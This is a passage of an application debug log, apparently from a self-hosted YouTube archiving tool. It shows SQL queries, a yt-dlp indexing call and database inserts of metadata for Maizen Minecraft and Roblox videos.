m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:23.011 [debug] QUERY OK source="media_items" db=0.1ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [81994] 18:35:23.011 [debug] Current batch of media processed. Will check again in 1000ms 18:35:24.011 [debug] Current batch of media processed. Will check again in 1000ms 18:35:25.012 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "duration" => 955, "filename" => "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", "id" => "5bH1T7ZwmjA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "playlist_index" => 17, "timestamp" => 1778643903, "title" => "MUTANT Speedrunners VS Hunter in Minecraft", "upload_date" => "20260513"} 18:35:25.013 [debug] QUERY OK source="sources" db=0.2ms idle=324.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:25.013 [debug] QUERY OK source="sources" db=0.1ms idle=324.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.015 [debug] QUERY OK source="media_items" db=1.7ms idle=325.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-13 03:45:03Z], 2] 18:35:25.016 [debug] QUERY OK source="media_items" db=0.8ms idle=327.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "8e8b9607-0767-46b5-b7a5-7fe6aacd2651", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", 17, "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-05-13 03:45:03Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, we're playing Speedrunner vs Hunter, with a twist! JJ can morph into all sorts of different mobs, awesome! Over time, JJ will unlock new mobs to transform into, what kinds of useful mobs will JJ turn into?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MUTANT Speedrunners VS Hunter in Minecraft", "5bH1T7ZwmjA", 955, false, "https://www.youtube.com/watch?v=5bH1T7ZwmjA", "/downloads/shows/Maizen/Season 2026/s2026e051300 - MUTANT Speedrunners VS Hunter in Minecraft.mp4", false, 2, ~U[2026-05-13 03:45:03Z]] 18:35:25.017 [debug] QUERY OK source="sources" db=0.2ms idle=97.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.017 [debug] QUERY OK source="media_profiles" db=0.1ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:35:25.018 [debug] QUERY OK source="media_items" db=0.3ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [69843] 18:35:25.018 [debug] Current batch of media processed. Will check again in 1000ms 18:35:25.762 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@maizenofficial --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Maizen/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/e7/a7/e7a7e465f439bb11b61bfe81d51fd8fcab6b38352dc26cde71cdb90d81bde1cf.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/30/f0/30f081d5551cdff91c6309b53566a6f22997e3660e262c3fb0cc8dc76286275c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 18:35:25.763 [debug] Gracefully stopping file follower 18:35:25.763 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=747.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:35:25.764 [debug] QUERY OK source="sources" db=0.1ms idle=747.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.765 [debug] QUERY OK source="media_items" db=1.3ms idle=746.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-18 09:00:12Z], 2] 18:35:25.766 [debug] QUERY OK source="media_items" db=0.6ms idle=748.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "5d571a4b-5c3d-419f-b648-121fd052b819", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", 1, "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, false, false, 2, [], 98, ~U[2026-08-18 09:00:12Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, we're playing a game where we can eat anything! Yummy! Everything we eat makes us grow, and the bigger we get, the more powerful we become! Let's eat the entire world!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Why JJ And Mikey Ate ENTIRE World?", "2-aPfodzXeE", 976, false, "https://www.youtube.com/watch?v=2-aPfodzXeE", "/downloads/shows/Maizen/Season 2026/s2026e081800 - Why JJ And Mikey Ate ENTIRE World?.mp4", false, 2, ~U[2026-08-18 09:00:12Z]] 18:35:25.766 [debug] QUERY OK source="sources" db=0.3ms idle=748.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.768 [debug] QUERY OK source="media_items" db=1.3ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-16 04:00:11Z], 2] 18:35:25.769 [debug] QUERY OK source="media_items" db=0.7ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "8ebdc250-5b43-44e8-994d-d9f8adf97a99", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", 2, "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, false, false, 2, [], 98, ~U[2026-08-16 04:00:11Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, Mikey's planning a prank to blow up JJ's house, but JJ caught on just in time! Now it's up to JJ to turn Mikey's prank against him in an epic reverse-prank! Will Mikey catch on before it's too late?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "Mikey BLEW UP His OWN CASTLE! in Minecraft!!", "SYBhOxduPUg", 1231, false, "https://www.youtube.com/watch?v=SYBhOxduPUg", "/downloads/shows/Maizen/Season 2026/s2026e081600 - Mikey BLEW UP His OWN CASTLE! in Minecraft!!.mp4", false, 2, ~U[2026-08-16 04:00:11Z]] 18:35:25.770 [debug] QUERY OK source="sources" db=0.2ms idle=4.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.771 [debug] QUERY OK source="media_items" db=1.2ms idle=3.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-15 12:31:16Z], 2] 18:35:25.772 [debug] QUERY OK source="media_items" db=0.5ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "fe0bcb6e-79d7-42f0-af2c-a34c03599aaa", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", 3, "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, false, false, 2, [], 98, ~U[2026-08-15 12:31:16Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, we're playing Build Your Base! 150 waves of powerful enemies will be coming to destroy our heart block, and it's up to us to build the most powerful security systems to keep them away! On the very last wave, a massive dragon awaits! Will we be able to take down the dragon and protect our heart blocks?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "BUILDING The SAFEST BASE to Survive in Roblox", "TEmV_KQkWXY", 1360, false, "https://www.youtube.com/watch?v=TEmV_KQkWXY", "/downloads/shows/Maizen/Season 2026/s2026e081500 - BUILDING The SAFEST BASE to Survive in Roblox.mp4", false, 2, ~U[2026-08-15 12:31:16Z]] 18:35:25.773 [debug] QUERY OK source="sources" db=0.2ms idle=4.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.774 [debug] QUERY OK source="media_items" db=1.2ms idle=3.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-23 03:28:21Z], 2] 18:35:25.776 [debug] QUERY OK source="media_items" db=1.3ms idle=4.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "e4097ed4-b893-4997-b4ad-4249fafd4522", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", 4, "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, false, false, 2, [], 98, ~U[2026-07-23 03:28:21Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ vs. Mikey", "DmxYE_YOLQ8", 4713, false, "https://www.youtube.com/watch?v=DmxYE_YOLQ8", "/downloads/shows/Maizen/Season 2026/s2026e072300 - JJ vs. Mikey.mp4", false, 2, ~U[2026-07-23 03:28:21Z]] 18:35:25.776 [debug] QUERY OK source="sources" db=0.2ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.777 [debug] QUERY OK source="media_items" db=1.1ms idle=4.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-10 07:31:34Z], 2] 18:35:25.778 [debug] QUERY OK source="media_items" db=0.4ms idle=4.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "dd4f284c-2a2b-461c-9d89-580141b83028", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", 5, "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, false, false, 2, [], 98, ~U[2026-07-10 07:31:34Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Hi everybody.\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "PRISON ESCAPE in Minecraft", "jXiB2M0bZX8", 3658, false, "https://www.youtube.com/watch?v=jXiB2M0bZX8", "/downloads/shows/Maizen/Season 2026/s2026e071000 - PRISON ESCAPE in Minecraft.mp4", false, 2, ~U[2026-07-10 07:31:34Z]] 18:35:25.779 [debug] QUERY OK source="sources" db=0.2ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.780 [debug] QUERY OK source="media_items" db=1.2ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-27 03:00:06Z], 2] 18:35:25.781 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "98abdc1e-1c7f-40e0-9f67-5549b99d2361", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", 6, "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-27 03:00:06Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, JJ and Mikey are on a mission to restore the Pro Doctor program! It won't be easy, they'll both have to face many dangerous threats standing in their way, but together they'll do whatever it takes!\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "JJ IS DEAD : The Movie", "2nxBCespd7c", 4704, false, "https://www.youtube.com/watch?v=2nxBCespd7c", "/downloads/shows/Maizen/Season 2026/s2026e062700 - JJ IS DEAD : The Movie.mp4", false, 2, ~U[2026-06-27 03:00:06Z]] 18:35:25.781 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:35:25.783 [debug] QUERY OK source="media_items" db=1.3ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-06-20 03:00:06Z], 2] 18:35:25.784 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise to the challenge?\n\nWe hope you enjoy our videos! Have a great day! \n\nMaizen Merchandise ► https://shop-maizen.myspreadshop.com/", "MIKEY IS DEAD : The Movie", "18ac4edb-cc2b-4084-8b77-bf6d038bae96", "a8EKAWT99Ys", 5211, false, "https://www.youtube.com/watch?v=a8EKAWT99Ys", 7, "/downloads/shows/Maizen/Season 2026/s2026e062000 - MIKEY IS DEAD : The Movie.mp4", false, false, false, 2, [], 98, ~U[2026-06-20 03:00:06Z], ~U[2026-08-20 01:35:25Z], ~U[2026-08-20 01:35:25Z], "Today, Mikey is tasked with a very important, and very dangerous mission that only he can complete! It won't be easy, but the chairman is depending on him. Can Mikey rise 